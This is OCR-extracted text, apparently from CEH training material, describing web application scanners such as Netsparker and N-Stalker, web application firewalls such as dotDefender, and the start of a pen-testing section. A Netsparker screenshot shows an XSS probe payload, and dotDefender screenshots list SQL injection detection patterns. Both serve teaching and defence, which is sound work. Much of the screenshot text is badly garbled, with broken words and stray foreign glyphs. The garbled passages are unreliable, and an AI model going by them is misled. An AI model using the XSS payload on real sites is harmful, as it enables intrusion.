bugs a n d  c o m p lia n c e  issues a u to m a tic a lly  /  *  , • ץ 

Q  5HWo jg  Iwpettcxs I /  *utoReapondir | Request Buoa | WfaSaK I _ E
ID Log I ־—. rmch; 1 ■ v•8'

ac!i«<»nar1pc4cytiks *■׳Lock for Pas ₪
J Header - Check tM cathe-caMml HTTP header met to the regorg' vAx 

̂ that a Cortart -Type neattr U hciuded h ths HTTP response and 3»*0 * ₪ וי*> e>t8 when t 
Header Cheeks that IE?* XSS proteeten Bier Koa r»tf been ebabled by the Webappteabon •׳

₪ OncMiHattheXCONTENT-TYPEOPTONSiJefcnje aflarvt MlME«fRnflha»b»»n dedjred 
J Header Cheeks th® !he XfRAMEOPTlONS■ header n berg set for defer®• aqaral CkkJaefcro'attacks 

B  Heady Lccfc ter «■«■ah Afrytlcalicr prctooolr

0  rtor״*ten 0<ac*«*re Owck for conwon 9׳mt mMoagw wtLinsd by database* *Hcfi may rdae 9311! 
ז7ן  rfy-Bcn Dadeare Oteek for dubom eoiment• that vnairartfuther attention 

7  rtomaton D*3c»je LooHlotevMlNe rtamatieripajesdttrojtfi HTTPwjjwt ul«twl*w*»a 
look for semttve rfenrater paiied Ihroû i URL [Mrarreteis fTi Ja<*«utrt - bu׳wr«̂׳r*1crt«coJ*for uw c< d#>3r0us r׳ji1)fTK<J«xh

*toow• SDLO*
M/A
OWASPASV12 
OWASf ASVU w».'.wBSX

TSrt ־<■*׳־ k mil srnnrh MTMl convnt, ineludmo comment! 
Af.PNTT and Web savers such 09 IIS ond Apoebe Y<hh

k common error mrsinor־* returned by ptmtewns sue♦! as 
1 ftonfioure Ibe l!v of common debug mer-wiges » look ter

PH> v>arnng
PH»&10r 
Vi'arrrg: Carr mwdiaroiis

Copyright © by EC-Gauactl. All Rights Reserved. Reproduction is Strictly Prohibited.

( 6w»׳t  ) Export NeAod• HTNLRwott

it* nge •* *י* ttbamg URU

'So  J ft*.'* r-otfcuBtad. tan/m •febw/Ch««fc. Pmv.ltwCanbeUd.Jr/aiu vl£v«<t.1;>v?ul mrTMtVdw* 

r r t t h o  S c » rc  lavaanix ivonti Ahrti may bo afrart׳»vmtrelUft*a׳

1J l»*i n w  «•« Anrd m #»• ♦ 0 נז40י**  data of an crto.nl' events

fordtntw  folow^o data of ac 'crrroueeow' event! 

tv* j «  rxjut m i:■ytmralie
;f »aa fartd m the felo»ng data of ar 'onerrof' event׳-<User -rp י3

c a s a s a  Aatc־«  V/cDSecurity Tool vlJ.O, CooyriQht©20:0 Casaoa Security. LLC. All risnu reserved.

http://www.casaba.com

C 3 S 3 B 3  watdier Web Security Tool vt.3.0, Copy right C• 2010 C3;3ba ..C- AJI djitts reserved-

W e b  A p p l i c a t i o n  S e c u r i t y  T o o l :  W a t c h e r  W e b  S e c u r i t y  

J L  T o o l

S o u r c e :  h t t p : / / w w w . c a s a b a . c o m

W a t c h e r  is a  p l u g i n  f o r  t h e  F i d d l e r  HTTP  p r o x y  t h a t  p a s s i v e l y  a u d i t s  a  w e b  a p p l i c a t i o n  t o  f i n d  

s e c u r i t y  b u g s  a n d  c o m p l i a n c e  i s s u e s  a u t o m a t i c a l l y .  P a s s i v e  d e t e c t i o n  m e a n s  i t ' s  s a f e  f o r  

p r o d u c t i o n  u s e .  It d e t e c t s  w e b - a p p l i c a t i o n  s e c u r i t y  i s s u e s  a n d  o p e r a t i o n a l  c o n f i g u r a t i o n  i s s u e s .
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FIGURE 13.63: W a tc h e r W e b  S ecurity  Too l S creenshot
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C E H
Web Application Security 
Scanner: Netsparker

J  N e ts p a rk e r p e r fo rm s  a u to m a te d  c o m p re h e n s iv e  w e b  a p p lic a t io n  s c a n n in g  f o r  v u ln e ra b il it ie s  such  as SQL 

in je c t io n , c ro s s -s ite  s c r ip t in g , re m o te  c o d e  in je c t io n , e tc .

J  I t  d e liv e rs  d e te c t io n , c o n f irm a tio n ,  and  e x p lo ita t io n  o f  v u ln e ra b il it ie s  in a s in g le  in te g ra te d  e n v iro n m e n t

ח

s  fa  11

CMnWSw י

C ross-s ite  S crip tin g

c
URL l a x / /  1c5tJ7.ne2Mrt«r.cQm:8l8! 1 fflefwra/MSiDyreftected32 ׳ 

P* ׳ ד• — * H •*  010 » * ־ י ! $ j ׳ . Krtpt:
PARAMETER

MAME ptram

PARAMETER 
TVPC (Jjfryitnnj

ATTACK
PATTtftM «»a|p1»4k»t(0»0000l&)<

V U L N E R A B IL IT Y  D E T A IL S ג  C LA SSIF IC A T IO N

XSS (O w rM t SoHAmu) d v «1 mn tv «*«-.**« • 
dr«»*on1 kjhA (!••**C'pC V W c 1 ׳*<)»> U  o* 
a0pbcat»n T**s 1 lo«c y t i*  o*p4rtun*14« 
moith t♦־•  cvr<nt ■Mixyi *x  m«r t* tfunfm] Vm 
kvoV (4 rtw* 0 M)* b» *י♦ wtvi anrt»*yro<t»*m»

k i  :.0 t u

K l ו . נ  L iii
OWAV a:

♦ י ־ י ־ ז ־ ר ^ ■

* Croupbuctb)’

Ml 9 Vjlnt<jb1KvT>o«
J  fVory: SystemlMoneJScar and Confarratcnfirntsd

h ttp://www. ma vitunasecurity. com
Copyright © by EC-Cauactl. All Rights Reserved. Reproduction is Strictly Prohibited.

W e b  A p p l i c a t i o n  S e c u r i t y  S c a n n e r :  N e t s p a r k e r

" v ׳  S o u r c e :  h t t p : / / w w w . m a v i t u n a s e c u r i t y . c o m

N e t s p a r k e r ®  c a n  f i n d  a n d  r e p o r t  o n  s e c u r i t y  v u l n e r a b i l i t i e s  s u c h  a s  S Q L  i n j e c t i o n  a n d  c r o s s - s i t e  

s c r i p t i n g  (XSS) in all  w e b  a p p l i c a t i o n s ,  r e g a r d l e s s  o f  t h e  p l a t f o r m  a n d  t h e  t e c h n o l o g y  t h e y  a r e  

b u i l t  o n .  It a l l o w s  y o u  t o  r e s o l v e  s e c u r i t y  p r o b l e m s  b e f o r e  t h e y ' r e  a c t u a l l y  m i s u s e d  a n d  

c o m p r o m i s e d  b y  u n k n o w n  a t t a c k e r s .
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Q ]  tcrst37.nebpdrker.eom - N etipaikei 2.0.0.0 ( Mavituna Security Lim ited -1  Seat) 1 5 1 ־ r s 1 ־ r w 1

I File tyew Reporting Settings C om m unity fcjelp ״

; Start fcjew Scon j?  Stoit £ u »1 j
Browser View HTTP Request /  ResponseVulnerability

Controlled Scan Retest

CONFIRMEDC r o s s - s i t e  S c r i p t i n g

http://test37. netsparker.com: 8081/dllemma/xsstb, ref lected/3Z.php
param=<script>alert(0x000016)<! script? 

param

Querystring

<scrlpt>alert(0x000016)</scrlpt>

URL

PARAMETER
NAME

PARAMETER
TYPE

ATTACK
PATTERN

«§§ CLASSIFICATIONVULNERABILITY DETAILS
PCI 2 .0 6 .5 .7

P C 11 .2 6.5 .1

OW ASP A2 -

XSS (C ro s s -s ite  S c r ip tin g )  a llo w s  a n  a t ta c k e r  to  e x e c u te  a 
d y n a m ic  s c r ip t {)avascrot, VbScript) in  th e  c o n te x t o f  th e  
a p p lic a tio n . This a llo w s  s e v e ra l d f fe r e n t  a t ta c k  o p p o r tu n it ie s ,  
m o s tly  h ija c k in g  th e  c u r re n t s e s s io n  o f  t h e  u s e r o r  c h a n g in g  th e  
lo o k  o f  th e  p a g e  b y  c h a n g in g  th e  HTML o n  th e  f ly  t o  3 te a l th e

Group Issues by 

€  Vulnerability T/pe 

C  Severity

1-1 Cross-site Scripting

dilemma/xsstb/refle<te<j/32.php 1pa׳  (am׳

f+1 •|&) Apache Version Disclosure 
G i-ptt PHP Varcion D icdo tur*

G J 0 Apoche Version Is Out O ״ f Dote

R  Encoder IT  Logs (4)Issues (*)

□  “S  test37.netspahcer.com:8081 

0 - &  dilemma 
xsstb 

0 • • ©  reflected 

0  32.php
©  Apache Version 
1 - Apache Version 
| PHP Version Dis 

±J —*  ?param

>Cross-site S ®י{

bean  Nnished

0002 / 0002 
Scan Inform ation

Current Speed: 2,6rcq.'5cc 

Average Speed: 3,7 req/sec 

Total Requests: 37 

Fxiftd  R#qu»et< 0 ז 

HEAD Requests: 0 

Elapsed T im e : 00:00:10

jf1 Proxy: Svstem[Ncne]Scan and Confirm ation finished.

FIGURE 13.64: N e tsp a rke r Too l S creensho t
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E H
W e b  A p p l i c a t i o n  S e c u r i t y  T o o l :  N ־ S t a l k e r  

W e b  A p p l i c a t i o n  S e c u r i t y  S c a n n e r

N־S:alker Web Application Security Scanner2012 - Free EditionIfryfr > 1 » > 1
N—'  M-Siaker Senw׳M-Suker Sen tner Scan Cffcr«i

5W rt5can

v

r l

mil.(•) Mi J (P) Low 1)
\ l
«MI>

I r. -»:«n AtMMffl 0

Sw Mjojo , .. a <rhi»־<«T׳
5'.«U.» 1• S'.atei Sca'1-W h brae a

h ttp://nstalker.com

J  N-Stalker Web Application 
Security Scanner is an effective 
suite o f web security 
assessment checks to  enhance 
the overall security o f web 
applications against a wide 
range o f vulnerabilities and 
sophisticated hacker attacks

J  It contains all web security 
assessment checks such as : 

e  Code injection 

»  Cross-Site scripting 

e  Parameter tampering 

«  Web server vulnerabilities

Copyright © by EC-Gauactl. All Rights Reserved. Reproduction is Strictly Prohibited.

f j H ^  W e b  A p p l i c a t i o n  S e c u r i t y  T o o l :  N ־ S t a l k e r  W e b  

_  A p p l i c a t i o n  S e c u r i t y  S c a n n e r

S o u r c e :  h t t p : / / n s t a l k e r . c o m

N - S t a l k e r  W e b  A p p l i c a t i o n  S e c u r i t y  S c a n n e r  p r o v i d e s  a n  e f f e c t i v e  s u i t e  o f  w e b  s e c u r i t y  

a s s e s s m e n t  c h e c k s  t o  e n h a n c e  t h e  o v e r a l l  s e c u r i t y  o f  y o u r  w e b  a p p l i c a t i o n s  a g a i n s t  a  w i d e  

r a n g e  o f  v u l n e r a b i l i t i e s  a n d  s o p h i s t i c a t e d  h a c k e r  a t t a c k s .  It a l s o  a l l o w s  y o u  t o  c r e a t e  y o u r  o w n  

a s s e s s m e n t  p o l i c i e s  a n d  r e q u i r e m e n t s ,  e n a b l i n g  a n  e f f e c t i v e  w a y  t o  m a n a g e  y o u r  a p p l i c a t i o n ' s  

SDLC,  i n c l u d i n g  t h e  a b i l i t y  t o  c o n t r o l  i n f o r m a t i o n  e x p o s u r e ,  d e v e l o p m e n t  f l a w s ,  i n f r a s t r u c t u r e  

i s s u e s ,  a n d  r e a l  s e c u r i t y  v u l n e r a b i l i t i e s  t h a t  c a n  b e  e x p l o r e d  b y  e x t e r n a l  a g e n t s .  It c o n t a i n s  all 

w e b  s e c u r i t y  a s s e s s m e n t  c h e c k s  s u c h  a s  c o d e  i n j e c t i o n ,  c r o s s - s i t e  s c r i p t i n g ,  p a r a m e t e r  

t a m p e r i n g ,  w e b  s e r v e r  v u l n e r a b i l i t i e s ,  e t c .
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E H
W e b  A p p l i c a t i o n  S e c u r i t y  T o o l :

V a m p i r e S c a n

Vam pireScan a llow s users to  te s t th e ir  ow n  Cloud and 
W eb ap p lica tion s  fo r  basic a ttacks and receive 

L ac tio nab le  results all w ith in  th e ir  ow n W eb po rta l

V a m p i r e S c a n

F e a tu re s

P ro te c t y o u r w e b s ite  fro m  

hackers

e  Scan and p ro te c t yo u r 

in fra s tru c tu re  and w e b  
a p p lica tio n s  f ro m  cyber- 

th re a ts

© Give yo u  d irec t, 
a c tio n a b le  insight on  
high, m ed ium , and lo w  

risk vu ln e ra b ilit ie s

e

http://www.vampiretech.com
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^  W e b  A p p l i c a t i o n  S e c u r i t y  T o o l :  N - S t a l k e r  W e b  

0 ,  . A p p l i c a t i o n  S e c u r i t y  S c a n n e r

S o u r c e :  h t t p : / / w w w . v a m p i r e t e c h . c o m

V a m p i r e S c a n  a l l o w s  u s e r s  t o  t e s t  t h e i r  o w n  C l o u d  a n d  W e b  a p p l i c a t i o n s  f o r  b a s i c  a t t a c k s  

a n d  r e c e i v e  a c t i o n a b l e  r e s u l t s  all  w i t h i n  t h e i r  o w n  W e b  p o r t a l .  It c a n  p r o t e c t  y o u r  w e b s i t e  

f r o m  h a c k e r s .  T h i s  t o l  c a n  s c a n  a n d  p r o t e c t  y o u r  i n f r a s t r u c t u r e  a n d  w e b  a p p l i c a t i o n s  f r o m  

c y b e r - t h r e a t s  a n d  c a n  a l s o  g i v e  y o u  d i r e c t ,  a c t i o n a b l e  i n s i g h t  o n  h i g h ,  m e d i u m ,  a n d  l o w  r i sk  

v u l n e r a b i l i t i e s
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Web A pplication Security Tools C E H

W e b s e c u rify
h t t p : / / w w w . w e b s e c u r ify .c o m

X5s
h t t p : / / w w w . cas ab a . c o m

R a tp ro x y
h t tp : / / c o d e , g o o g le , co m

N e tB ru te
h t t p : / / w w w . ra w lo g ic .  co m

W—hi

W SSA - W e b  S ite  S e cu r ity  

S cann in g  S ervice
' h t tp s : / /s e c u r e .b e y o n d s e c u r it y .c o m

f t .

V

I H L T  S a n d c a tM in i
h t tp : / /w w w .s y h u n t . c o m

S ecuB at V u ln e ra b il ity  S canner
h t tp : / / s e c u b a t . co d e  p ie  x . c o m

SPIKE P ro xy
h t t p : / / w w w . im m u n ity  sec . c o m

OW ASP ZAP
h t t p : / / w w w . o w a s p . o rg

sk ip fis h
|  _̂__ j  h t tp : / /c o d e .g o o g le .c o m

Copyright© by EC-Cauncil. All Rights Reserved. Reproduction isStrictly Prohibited.

W e b  A p p l i c a t i o n  S e c u r i t y  T o o l s

W e b  a p p l i c a t i o n  s e c u r i t y  t o o l s  a r e  w e b  a p p l i c a t i o n  s e c u r i t y  a s s e s s m e n t  s o f t w a r e  

d e s i g n e d  t o  t h o r o u g h l y  a n a l y z e  t o d a y ' s  c o m p l e x  w e b  a p p l i c a t i o n s  w i t h  t h e  a i m  o f  f i n d i n g  

e x p l o i t a b l e  SQL i n j e c t i o n ,  XSS v u l n e r a b i l i t i e s ,  e t c .  T h e s e  t o o l s  d e l i v e r  s c a n n i n g  c a p a b i l i t i e s ,  

b r o a d  a s s e s s m e n t  c o v e r a g e ,  a n d  a c c u r a t e  w e b  a p p l i c a t i o n  s c a n n i n g  r e s u l t s .  C o m m o n l y  u s e d  

w e b  a p p l i c a t i o n  s e c u r i t y  t o o l s  a r e  l i s t e d  a s  f o l l o w s :

Q S a n d c a t M i n i  a v a i l a b l e  a t  h t t p : / / w w w . s y h u n t . c o m

0  O W A S P  ZAP a v a i l a b l e  a t  h t t p : / / w w w . o w a s p . o r g

6  s k i p f i s h  a v a i l a b l e  a t  h t t p : / / c o d e . g o o g l e . c o m

Q S e c u B a t  V u l n e r a b i l i t y  S c a n n e r  a v a i l a b l e  a t  h t t p : / / s e c u b a t . c o d e p l e x . c o m  

© SPIKE P r o x y  a v a i l a b l e  a t  h t t p : / / w w w . i m m u n i t v s e c . c o m  

0  W e b s e c u r i f y  a v a i l a b l e  a t  h t t p : / / w w w . w e b s e c u r i f y . c o m  

© N e t B r u t e  a v a i l a b l e  a t  h t t p : / / w w w . r a w l o g i c . c o m  

Q X 5 s  a v a i l a b l e  a t  h t t p : / / w w w . c a s a b a . c o m  

© W S S A W ־  e b  S i t e  S e c u r i t y  S c a n n i n g  S e r v i c e  a v a i l a b l e  a t  

h t t p s : / / s e c u r e . b e v o n d s e c u r i t v . c o m
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© R a t p r o x v  a v a i l a b l e  a t  h t t p : / / c o d e . g o o g l e . c o m
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Web A pplication Security Tools
( C o n t ’d )

C E H

i p i S yh u n t H yb rid
h t tp : / /w w w . s y h u n t . c o m

1M E x p lo it-M e
h t tp : / '/ la b s ,  s e c u r ity c o m p a s s .c o m

(P " W S D igger
h t t p : / / w w w . m c a fe e . c o m

W a p it i
h t t p : / / w a p i t i , s o u rc e  fo rg e , n e t

W e b W a tc h B o t
h t t p : / / w w w . e x c la m a tio n s  o f t .  c o m

f r ! \K - K eepN I
h t t p : / / w w w . k e e p n i. co m

G ra b b e r A ra c h n i
h t tp : / / r g a u c h e r . in fo □ □ ם h t tp : / /a ra c h n i- s c a n n e r . c o m

Vega
- ד  ח  h t t p : / / w w w . s u b g ra p h . co m

xss s
h t t p : / / w w w . s ve n . d e

Copyright © by EC-Cauactl. All Rights Reserved. Reproduction is Strictly Prohibited.

W e b  A p p l i c a t i o n  S e c u r i t y  T o o l s  ( C o n t ’ d )

In a d d i t i o n  t o  t h e  p r e v i o u s l y  m e n t i o n e d  w e b  a p p l i c a t i o n  s e c u r i t y  t o o l s ,  t h e r e  a r e  f e w  

m o r e  t o o l s  t h a t  c a n  b e  u s e d  t o  a s s e s s  t h e  s e c u r i t y  o f  w e b  a p p l i c a t i o n s :

© W a p i t i  a v a i l a b l e  a t  h t t p : / / w a p i t i . s o u r c e f o r g e . n e t

© W e b W a t c h B o t  a v a i l a b l e  a t  h t t p : / / w w w . e x c l a m a t i o n s o f t . c o m  

© K e e p N I  a v a i l a b l e  a t  h t t p : / / w w w . k e e p n i . c o m

© G r a b b e r  a v a i l a b l e  a t  h t t p : / / r g a u c h e r . i n f o

© XSSS a v a i l a b l e  a t  h t t p : / / w w w . s v e n . d e

© S v h u n t  H y b r i d  a v a i l a b l e  a t  h t t p : / / w w w . s v h u n t . c o m

© E x p l o i t - M e  a v a i l a b l e  a t  h t t p : / / l a b s . s e c u r i t y c o m p a s s . c o m  

© W S D i g g e r  a v a i l a b l e  a t  h t t p : / / w w w . m c a f e e . c o m

© A r a c h n i  a v a i l a b l e  a t  h t t p : / / a r a c h n i - s c a n n e r . c o m

© V e g a  a v a i l a b l e  a t  h t t p : / / w w w . s u b g r a p h . c o m
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C E H
Urt1fw4 ilhiul lUtbM

Web A pplication F irew all: 
dotDefender

*<hc .»׳*«» vew *ovomrs *י׳מיי A Me

d tDefender

i 9 SQL Infection־

awM* ype v. sol rt-«  «

w Suspect Single Quote (Safe) □

מ Pattern = Pattern □

Classic SQL Comment ־־’ D

w SQL Comments Q

Q ‘Union Select’ Statement ם

W ‘Select Version' Statement Q

P SQL CHAR Type ם

W SQL SYS Commands □

W IS SRVROLEMEMBER followed by ( ם

MS SQL Specific SQL Injection ק

cbtOefrndEr (329 days fcft) 
il U  Event View? (Locrf)
_tl ו׳וי Internet Irrfonriaaar Ser*

4> Gbbal Settngs 
□  {2) Dê aiJt Scanty FtoSe p-otec 

Server Ma*ng 
[£ Lpka: Fok:»5־

0  £ Patterns כ
ffl fel WhalBt (Perm!*d As 
ij  £2) Pararoc ij fgtEncotlnQ [fl Bjffw Oi'eHbn 
a  £21 SQL lr!j*ct>cr

Lae׳ cHhed

CB .71־ CT0B-5W Sowanc

 ש c7)י־*יי•CU c7t 5 *,י^ג
m#nfl l*e<״Ltl uJ) R«no(e ca 

)! (Q) Ced* mrrten 
1 ar*!־m & vmdow* :»rrner 

HJ ^  W*l Vtwna 
ID 2̂) »*a!h lnty*rran 

rf*e־..־ creat aw ימ9י«(aן UUU  flj*e >•*:>[ >ז
:Jw LVaUi: זיל* Afttna FTP ן.

d o tD e fe n d e r is a s o ftw a re  

based W eb A p p lic a tio n  
F irew all

I t  co m p le m e n ts  th e  

n e tw o rk  f ire w a ll,  IPS and 

o th e r  n e tw o rk -based  
In te rn e t  se cu rity  p roducts

I t  inspects th e  HTTP/HTTPS 

t ra f f ic  f o r  suspicious 
beh av io r

I t  d e te c ts  and b locks SQL 
in je c t io n  a ttacks

h ttp://www. opplicure.com
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5 5 ^  W e b  A p p l i c a t i o n  F i r e w a l l :  d o t D e f e n d e r

S o u r c e :  h t t p : / / w w w . a p p l i c u r e . c o m

d o t D e f e n d e r ™  is a  s o f t w a r e - b a s e d  w e b  a p p l i c a t i o n  f i r e w a l l  t h a t  p r o v i d e s  a d d i t i o n a l  w e b s i t e  

s e c u r i t y  a g a i n s t  m a l i c i o u s  a t t a c k s  a n d  w e b s i t e  d e f a c e m e n t .  It p r o t e c t s  y o u r  w e b s i t e  f r o m  

m a l i c i o u s  a t t a c k s .  W e b  a p p l i c a t i o n  a t t a c k s  s u c h  a s  S Q L  i n j e c t i o n ,  p a t h  t r a v e r s a l ,  c r o s s - s i t e  

s c r i p t i n g ,  a n d  o t h e r  a t t a c k s  l e a d i n g  t o  w e b s i t e  d e f a c e m e n t  c a n  b e  p r e v e n t e d  w i t h  d o t D e f e n d e r .  

It c o m p l e m e n t s  t h e  n e t w o r k  f i r e w a l l ,  IPS,  a n d  o t h e r  n e t w o r k - b a s e d  I n t e r n e t  s e c u r i t y  p r o d u c t s .  

It i n s p e c t s  H T T P / H T T P S  t r a f f i c  f o r  s u s p i c i o u s  b e h a v i o r .
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-Iffl Xl

d t D e f e n d e r ׳”

SQL Injacfion י■ 1-1■

C h o o s e  w h ic h  t y p e  o f  S Q L  In jection  a tta c t- s  to  n t e r c e p t

17 Suspect Single Quote (Safe) □

Pattern = Pattern Q

קו Classic SQL Comment ,י■- □

F SQL Comments D

17 ‘ Union Se lect’ Statement D

17 ‘ Select Version׳ S tatem ent ם

17 SQL CHAR Type D

17 SQL SYS Commands D

17 IS_SRVROLEMEMBER fo llow ed  by ( D

17 MS SQL Specific SQL Injection 0

flle Action view Favorites V/hdow Hrlp

»  ■» I B I ► ■ _________
^  dotOtfender (329 daye leH)
FI b ; Event Vic •no (lo id)
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O  license 
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0  { f  Default Security FYofile (Protec 
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0 Patterns ב£ 
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0  Encoding 
0  Buffer Overflow 
B  IGS SQL Injection

User Defired
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0  LZ XPoth Injection 
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Web A pplication F irew all: 
ServerDefender VP c

(•rtifwd

E H
ItkMJl lUckM

ServerDefender VP W eb a p p lica tion  fire w a ll is designed to  p rov ide  security  against w e b  attacks

SefverDefender VP Settings Manager

http://www.port80software.com

p o r t8 0

l-ojt <'adaton Buffer Overflow | Resources | Me*cds JU3 | RieUpfea-s | Ectpmts

Common ■p>r«3ts

SQL Injection

&Z|aoACfttJ«9teStTplng(>SS) MribicdKTWl_______ v_
Gcnenc ]׳ru t wrrtiratwn 
OiNone

$l**Mun 0נ^ . II. 12, H 31, 127, 175-223, 25$) 

C ) Extended (>, <,', ו  ♦ Mnmum 

OPwanad (L *. M .1,]  *M adid
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W e b  A p p l i c a t i o n  F i r e w a l l :  S e r v e r D e f e n d e r  V P

§ Q i S o u r c e :  h t t p : / / w w w . p o r t 8 0 s o f t w a r e . c o m

T h e  S e r v e r D e f e n d e r  V P  w e b  a p p l i c a t i o n  f i r e w a l l  is d e s i g n e d  t o  p r o v i d e  s e c u r i t y  a g a i n s t  w e b  

a t t a c k s .  S D V P  s e c u r i t y  wi l l  p r e v e n t  d a t a  t h e f t  a n d  b r e a c h e s  a n d  s t o p  u n a u t h o r i z e d  s i t e  

d e f a c e m e n t ,  f i l e  a l t e r a t i o n s ,  a n d  d e l e t i o n s .
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B a rra cu d a  W e b  A p p lic a t io n  
F ire w a ll
h t tp s  : / / w w w .  b a r ra c u d a n e tw o rk s . c o m

R a d w a re 's  A p p W a ll
□ו  h t t p : / / w w w . ra d w a re . c o m

n ss^ l T h re a tS e n try I 3 H l S tin g ra y  A p p lic a t io n  F ire w a ll
1— j h t t p : / / w w w . p r iv a c y  w a re , c o m h t t p : / / w w w . r iv e rb e d , co m

r - י־־ '

W
IB M  S e cu r ity  A ppS can
h t t p : / / w w w -01 . ib m . c o m

Q u a lysG u a rd  W AF
h t t p : / / w w w . q u a ty s . co m

T ru s tw a v e  W e b D e fe n d
h t tp s  : / / w w w .  tru s  t  w a v e , c o m

C y b e ro a m 's  W e b  A p p lic a t io n  
F ire w a ll
h t t p : / / w w w . c y  b e  ro a m , co m

T h re a tR a d a r
h t t p : / / w w w . im p e rv a . c o m

B !M o d S e c u r ity1— ■ ו Jי  J h t t p : / / w w w . m o d s e c u r ity .  o rg
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ץ  W e b  A p p l i c a t i o n  F i r e w a l l s

y W e b  a p p l i c a t i o n  f i r e w a l l s  s e c u r e  w e b s i t e s ,  w e b  a p p l i c a t i o n s ,  a n d  w e b  s e r v i c e s  a g a i n s t  

k n o w n  a n d  u n k n o w n  a t t a c k s .  T h e y  p r e v e n t  d a t a  t h e f t  a n d  m a n i p u l a t i o n  o f  s e n s i t i v e  c o r p o r a t e  

a n d  c u s t o m e r  i n f o r m a t i o n .  C o m m o n l y  u s e d  w e b  a p p l i c a t i o n  f i r e w a l l s  a r e  l i s t e d  a s  f o l l o w s :

© R a d w a r e ' s  A p p W a l l  a v a i l a b l e  a t  h t t p : / / w w w . r a d w a r e . c o m

© T h r e a t S e n t r y  a v a i l a b l e  a t  h t t p : / / w w w . p r i v a c y w a r e . c o m

© Q u a l y s G u a r d  W A F  a v a i l a b l e  a t  h t t p : / / w w w . q u a l y s . c o m

© T h r e a t R a d a r  a v a i l a b l e  a t  h t t p : / / w w w . i m p e r v a . c o m

© M o d S e c u r i t y  a v a i l a b l e  a t  h t t p : / / w w w . m o d s e c u r i t y . o r g

© B a r r a c u d a  W e b  A p p l i c a t i o n  F i r e w a l l  a v a i l a b l e  a t  h t t p s : / / w w w . b a r r a c u d a n e t w o r k s . c o m  

© S t i n g r a y  A p p l i c a t i o n  F i r e w a l l  a v a i l a b l e  a t  h t t p : / / w w w . r i v e r b e d . c o m  

© IBM S e c u r i t y  A p p S c a n  a v a i l a b l e  a t  h t t p : / / w w w - 0 1 . i b m . c o m  

© T r u s t w a v e  W e b D e f e n d  a v a i l a b l e  a t  h t t p s : / / w w w . t r u s t w a v e . c o m  

© C y b e r o a m ' s  W e b  A p p l i c a t i o n  F i r e w a l l  a v a i l a b l e  a t  h t t p : / / w w w . c y b e r o a m . c o m
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C E HM o d u le  F lo w

W e b  A p p  C o n c e p t s

f a

W e b  A p p  T h r e a t s
*  Q  Q  Q

S e c u r i t y  T o o l s

* * S  C o u n t e r m e a s u r e s

־ ־ ^  M o d u l e  F l o w

As  m e n t i o n e d  p r e v i o u s l y ,  w e b  a p p l i c a t i o n s  a r e  m o r e  v u l n e r a b l e  t o  a t t a c k s .  A t t a c k e r s  

u s e  w e b  a p p l i c a t i o n s  a s  t h e  s o u r c e s  f o r  s p r e a d i n g  a t t a c k s  b y  t u r n i n g  t h e m  i n t o  m a l i c i o u s  

a p p l i c a t i o n s  o n c e  c o m p r o m i s e d .  Y o u r  w e b  a p p l i c a t i o n  m a y  a l s o  b e c o m e  a  v i c t i m  o f  s u c h  

a t t a c k s .  T h e r e f o r e ,  t o  a v o i d  t h i s  s i t u a t i o n ,  y o u  s h o u l d  c o n d u c t  p e n e t r a t i o n  t e s t i n g  in o r d e r  t o  

d e t e r m i n e  t h e  v u l n e r a b i l i t i e s  b e f o r e  t h e y  a r e  e x p l o i t e d  b y  r e a l  a t t a c k e r s .

W e b  A p p  P e n  T e s t i n g W e b  A p p  C o n c e p t s

m  S e c u r i t y  T o o l s W e b  A p p  T h r e a t s

lM  C o u n t e r m e a s u r e s  

* f f

^  H a c k i n g  M e t h o d o l o g y

£׳ 3

W e b  A p p l i c a t i o n  H a c k i n g  T o o l s
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W e b  a p p l i c a t i o n s  c a n  b e  c o m p r o m i s e d  in m a n y  w a y s .  T h i s  s e c t i o n  d e s c r i b e s  h o w  t o  c o n d u c t  

w e b  a p p l i c a t i o n  p e n  t e s t i n g  a g a i n s t  all  p o s s i b l e  k i n d s  o f  a t t a c k s .
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W eb A p p lic a tio n  Pen Testing  CEH
UrtrfW* itfciul NmIm

J  Web app lication  pen testing  is used to  id e n tify , analyze, and re p o rt v u ln e ra b ilit ie s  such as inp u t va lida tion , 

b u ffe r overflow , SQL in jection, bypassing au then tica tion , code execution, etc. in a given application

J  The best w ay to  p e rfo rm  pene tra tion  tes ting  is to  conduct a series o f m e thod ica l and re pe a ta b le  te s ts , and 
to  w o rk  th ro u gh  all o f the  d if fe re n t app lication  vu lnerabilities

Id e n tif ic a tio n  o f Ports

Scan the ports to  identify the associated running 
services and analyze them  through autom ated 

o r manual tests to  find weaknesses

p -----------
s m m

1 http.׳/ !□j
V e rifica tio n  o f V u ln e ra b ilit ie s

To explo it the vulnerability in order 
to  test and fix the issue

R em ed ia tion  o f V u ln e ra b ilit ie s

To retest the solution against 
vulnerability to  ensure tha t it is 

com pletely secure

Copyright © by EC-Cauactl. All Rights Reserved. Reproduction is Strictly Prohibited.

| p ך  ] W e b  A p p l i c a t i o n  P e n  T e s t i n g

1 u r  W e b  a p p l i c a t i o n  p e n  t e s t i n g  is d o n e  t o  d e t e c t  v a r i o u s  s e c u r i t y  v u l n e r a b i l i t i e s  a n d  

a s s o c i a t e d  r i sk s .  As  a  p e n  t e s t e r ,  y o u  s h o u l d  t e s t  y o u r  w e b  a p p l i c a t i o n  f o r  v u l n e r a b i l i t i e s  s u c h  a s  

i n p u t  v a l i d a t i o n ,  b u f f e r  o v e r f l o w ,  SQL i n j e c t i o n ,  b y p a s s i n g  a u t h e n t i c a t i o n ,  c o d e  e x e c u t i o n ,  e t c .  

T h e  b e s t  w a y  t o  c a r r y  o u t  a  p e n e t r a t i o n  t e s t  is t o  c o n d u c t  a  s e r i e s  o f  m e t h o d i c a l  a n d  r e p e a t a b l e  

t e s t s ,  a n d  t o  w o r k  t h r o u g h  all  o f  t h e  d i f f e r e n t  a p p l i c a t i o n  v u l n e r a b i l i t i e s .

W e b  a p p l i c a t i o n  p e n  t e s t i n g  h e l p s  i n :

© I d e n t i f i c a t i o n  o f  P o r t s :  S c a n  t h e  p o r t s  t o  i d e n t i f y  t h e  a s s o c i a t e d  r u n n i n g  s e r v i c e s  a n d  

a n a l y z e  t h e m  t h r o u g h  a u t o m a t e d  o r  m a n u a l  t e s t s  t o  f i n d  w e a k n e s s e s .

0  V e r i f i c a t i o n  o f  V u l n e r a b i l i t i e s :  T o  e x p l o i t  t h e  v u l n e r a b i l i t y  in o r d e r  t o  t e s t  a n d  f ix  t h e

i s s u e .

© R e m e d i a t i o n  o f  V u l n e r a b i l i t i e s :  T o  r e t e s t  t h e  s o l u t i o n  a g a i n s t  v u l n e r a b i l i t y  t o  e n s u r e  
